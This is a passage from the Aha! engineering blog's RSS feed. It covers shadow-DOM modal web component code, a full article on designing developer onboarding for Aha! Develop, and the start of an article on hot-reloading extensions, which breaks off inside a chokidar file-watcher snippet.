&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalBody&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;slot&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          background: #fff;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          padding: 0.5rem;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ModalFooter&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; HTMLElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;hasAttribute&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;slot&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.slot &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;footer&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; template&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;createElement&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;template&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    template.innerHTML &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        :host {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          background: #ddd;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          border-top: 1px solid gray;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          padding: 0.5rem;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &amp;#x3C;slot&gt;&amp;#x3C;/slot&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shadowRoot&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;attachShadow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ mode: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;open&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    shadowRoot.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;appendChild&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(template.content.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;cloneNode&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;​&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-window&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalWindow);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-header&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalHeader);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-body&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalBody);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;customElements.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;modal-footer&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ModalFooter);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;&amp;#x3C;!-- HTML --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Header stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-header&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Body stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-body&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Footer stuff&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-footer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;modal-window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title><![CDATA[3 steps to an engaging new user experience for developers]]></title><description><![CDATA[First impressions matter a lot when you're launching a new product. Optimizing for time-until-Aha! is no easy feat. This is uniquely true…]]></description><link>https://www.aha.io/engineering/articles/3-steps-to-an-engaging-new-user-experience-for-developers</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/3-steps-to-an-engaging-new-user-experience-for-developers</guid><dc:creator><![CDATA[Winfred Nadeau]]></dc:creator><pubDate>Thu, 27 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;First impressions matter a lot when you&apos;re launching a new product. Optimizing for time-until-Aha! is no easy feat. This is uniquely true for developer-facing software because your customer lives and breathes your medium.&lt;/p&gt;
&lt;p&gt;Designing a new user experience looks like a maze at first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What are the setup costs for your new user?&lt;/li&gt;
&lt;li&gt;What will they have to do to really see what you&apos;re offering?&lt;/li&gt;
&lt;li&gt;If you make it too simple, will you dilute your value proposition?&lt;/li&gt;
&lt;li&gt;If you make it too complicated, will people finish enough to &quot;get it&quot;?&lt;/li&gt;
&lt;li&gt;What do you lead with?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&apos;s demystify this into three core steps.&lt;/p&gt;
&lt;h2&gt;1. Lead with your core differentiator&lt;/h2&gt;
&lt;p&gt;What you&apos;re bringing to market has to offer something differentiated enough to serve a market segment profitably. This is Business 101.&lt;/p&gt;
&lt;p&gt;Don&apos;t get distracted by traditional UX theories, gamification, what other products do, or if you need a product tour. Instead, show visitors what is special about your product as fast as you possibly can.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://surge.sh&quot;&gt;Surge.sh&lt;/a&gt; does a great job of this. Right at the top of their homepage, you see only two commands to deploy your website. They did the hard work of removing all of the complexity of traditional signup and baked it into one command. The sooner they get into your CLI, the sooner you see how easy they&apos;ve made it to deploy code&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/daf7955a78d48ac151839304e5ec0c79/surge.png&quot; alt=&quot;Surge.sh onboarding&quot;&gt;&lt;/p&gt;
&lt;p&gt;For Aha! Develop, we need you to see how extensions allow you to customize anything for your agile workflow tool.&lt;/p&gt;
&lt;h2&gt;2. Find your goldilocks onboarding task&lt;/h2&gt;
&lt;p&gt;Next, you have to figure out the right-sized task to give a visitor that will make your differentiator clear. It can&apos;t be too difficult and it can&apos;t be too trivial.&lt;/p&gt;
&lt;p&gt;What&apos;s the best thing to ask a user to do? Come up with three or four bullets for ideas and think through the pros and cons.&lt;/p&gt;
&lt;p&gt;You need to put your user at the edge of your iceberg, staring into the crystal blue depths at your product offering below.&lt;/p&gt;
&lt;p&gt;Identify your iceberg&apos;s edge by choosing a task that does three things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Accomplishes something real in as few steps as possible.&lt;/li&gt;
&lt;li&gt;Leaves room to explore deeper if desired, with clear directions to branch out and play.&lt;/li&gt;
&lt;li&gt;Makes us smile. Reach into the heart of the work we do as developers and bring us joy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For Aha! Develop, wiring up some extension logic that fires confetti when you ship a feature was going to hit all three.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/29c6dad3135031687fc09de105f61079/confetti.png&quot; alt=&quot;Playing with confetti when you ship&quot;&gt;&lt;/p&gt;
&lt;h2&gt;3. Let the user explore the rest at their own speed&lt;/h2&gt;
&lt;p&gt;With steps 1 and 2, you&apos;ve optimized for time-until-Aha! Your user should understand that you will scratch their itch in general. Now your job is to make it easy for the user to solve their specific problem.&lt;/p&gt;
&lt;p&gt;For developer-facing products, this is most often a healthy mix of UI and documentation. This is when traditional onboarding approaches start to take over, from product tours to customer demos.&lt;/p&gt;
&lt;p&gt;With Aha! Develop, we were able to blend our workflow tool with your &quot;dive deeper&quot; tasks. We baked the tour straight into your kanban board. You may be able to find similar leverage in your own product.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/5a8333a60c63b29af6ae5afaf3d01d7d/workflow-onboarding.png&quot; alt=&quot;Onboarding within workflow board&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you&apos;ve made it this far successfully, your user should be eager to learn more. You should too!&lt;/p&gt;
&lt;p&gt;An onboarding UX is never perfect at first, but these core principles will remain even as you discover improvements to this flow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you want to learn more from software product experts, &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;register your team for Aha! Develop today&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How we enable hot-reloading in production for extension developers]]></title><description><![CDATA[Aha! Develop is our extendable agile development tool. You can completely customize the UI, workflow, and integrations through extensions to…]]></description><link>https://www.aha.io/engineering/articles/how-we-enable-hot-reloading-in-production-for-extension-developers</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-we-enable-hot-reloading-in-production-for-extension-developers</guid><dc:creator><![CDATA[Jeremy Wells]]></dc:creator><pubDate>Mon, 17 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt; is our extendable agile development tool. You can completely customize the UI, workflow, and integrations through extensions to create your team&apos;s ideal workspace. We made &lt;a href=&quot;https://www.aha.io/support/develop/develop/introduction/getting-started&quot;&gt;extensions&lt;/a&gt; with the goal of creating a lovable development experience.&lt;/p&gt;
&lt;p&gt;When you write an extension for Aha! Develop, we want the experience to be as smooth as possible, without needing to take manual steps every time the code is changed. Frontend developers are used to seeing their changes appear before their eyes as they work in development mode. Getting instant feedback as you edit is satisfying and speeds the development lifecycle.&lt;/p&gt;
&lt;p&gt;As you write an extension for Aha! Develop, your extension is uploaded to our production system. This makes instant feedback challenging compared to local development. And yet, if you use the aha extension:watch command, you&apos;ll see extension views change before your eyes.&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/551756177&quot; width=&quot;625&quot; height=&quot;394&quot; frameborder=&quot;0&quot; title=&quot;Example of hot-loading in Aha! develop&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;Watch command&lt;/h2&gt;
&lt;p&gt;The client side of hot reloading is watching the file system for changes to the extension source files and running the equivalent of &lt;code&gt;aha extension:install&lt;/code&gt;. We use the &lt;a href=&quot;https://github.com/paulmillr/chokidar&quot;&gt;chokidar package&lt;/a&gt;. File system changes often come in a flurry, so the code applies a short timeout and batches the changes before calling install.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;chokidar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;watch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, { ignoreInitial: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ignored: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.git&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;all&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;changedPath&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.timeoutHandle) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.changedPaths.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(changedPath);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      clearTimeout&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.timeoutHandle);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.changedPaths &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [changedPath];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.timeoutHandle &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; setTimeout&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
